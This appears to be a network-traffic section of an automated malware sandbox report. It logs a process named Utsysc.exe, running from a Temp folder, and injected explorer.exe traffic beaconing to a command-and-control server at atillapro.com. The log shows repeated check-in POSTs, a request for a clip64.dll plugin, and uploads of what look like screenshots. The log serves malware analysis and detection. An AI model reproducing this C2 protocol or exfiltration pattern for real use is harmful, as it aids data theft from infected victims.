Apr 10, 2024 10:24:11.266302109 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:11.480247974 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 10, 2024 10:24:11.488152981 CEST	68	OUT	GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1 Host: atillapro.com
Apr 10, 2024 10:24:11.674092054 CEST	436	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 275 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>
Apr 10, 2024 10:24:11.694786072 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:11.882272959 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:12.080653906 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:12.286501884 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49720	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:12.690773964 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:12.880639076 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:12.882508039 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:13.077117920 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49721	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:13.703548908 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:13.894541025 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:13.924964905 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:14.124773979 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49722	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:13.789100885 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:13.789244890 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:13.789244890 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:13.789300919 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:13.789300919 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:13.789350033 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:13.789350033 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:13.789412022 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:13.789412022 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:13.789462090 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:13.789462090 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:15.455691099 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49723	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:14.600941896 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:14.787856102 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:14.800038099 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:14.994326115 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49724	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:15.427516937 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:15.614438057 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:15.627890110 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:15.825937986 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49726	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:16.125238895 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:16.311511040 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:16.316235065 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:16.513546944 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49727	185.196.8.137	80	5084	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:16.193532944 CEST	267	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://atillapro.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 501 Host: atillapro.com
Apr 10, 2024 10:24:16.193532944 CEST	501	OUT	Data Raw: 0d 3c f3 fb 4a 3c 20 a0 06 19 b6 4b 87 55 7a bc 09 70 0a de 0a 5b fd 7c 86 cc 83 58 49 7d 5a 98 b0 20 2d 56 e2 cd 9d 31 f6 78 11 61 b7 66 c7 90 8a 52 56 b0 00 55 60 c9 74 0d 18 85 ba 93 09 71 81 8e f4 d0 3f 51 bf 61 ba 1f 29 d0 8c 3c bc 79 45 7e Data Ascii: <J< KUzp[\|XI}Z -V1xafRVU`tq?Qa)<yE~\y~hW\|<T1#UMjo;(s[*hLaT@0,B/tm+~JszjnX-%\|F$5Bw]B9P?;?#i$UNx)Jqw&5:J=N6n
Apr 10, 2024 10:24:16.416161060 CEST	613	IN	HTTP/1.1 404 Not Found Date: Wed, 10 Apr 2024 08:24:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 401 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 74 69 6c 6c 61 70 72 6f 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at atillapro.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49728	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:16.383719921 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:16.383827925 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:16.383827925 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:16.383874893 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:16.383874893 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:16.383913994 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:16.383913994 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:16.383960962 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:16.383960962 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:16.384002924 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:16.384002924 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:17.482939959 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49729	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:17.002268076 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:17.189182043 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:17.198009968 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:17.397475004 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49730	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:17.690989971 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:17.877520084 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:17.880361080 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:18.072962046 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49731	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:18.141400099 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:18.141489029 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:18.141549110 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:18.141577959 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:18.141597986 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:18.141622066 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
